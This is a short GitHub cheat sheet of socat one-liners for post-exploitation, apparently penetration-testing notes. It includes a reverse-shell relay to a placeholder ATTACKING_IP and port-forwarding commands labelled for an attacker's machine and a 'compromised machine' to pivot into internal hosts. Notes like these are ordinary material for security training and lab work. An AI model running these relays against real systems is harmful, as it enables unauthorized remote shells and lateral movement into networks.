Skip to content

Latest commit

 

History

History
13 lines (10 loc) · 359 Bytes

File metadata and controls

13 lines (10 loc) · 359 Bytes

Socat

// Reverse shell Relay
./socat tcp-l:8000 tcp:ATTACKING_IP:443 &

// Port Forwarding -- Simple
./socat tcp-l:33060,fork,reuseaddr tcp:172.16.0.10:3306 &

// Port Forwarding -- Quiet
socat tcp-l:8001 tcp-l:8000,fork,reuseaddr & // Our attacking machine
./socat tcp:ATTACKING_IP:8001 tcp:TARGET_IP:TARGET_PORT,fork & // Compromised machine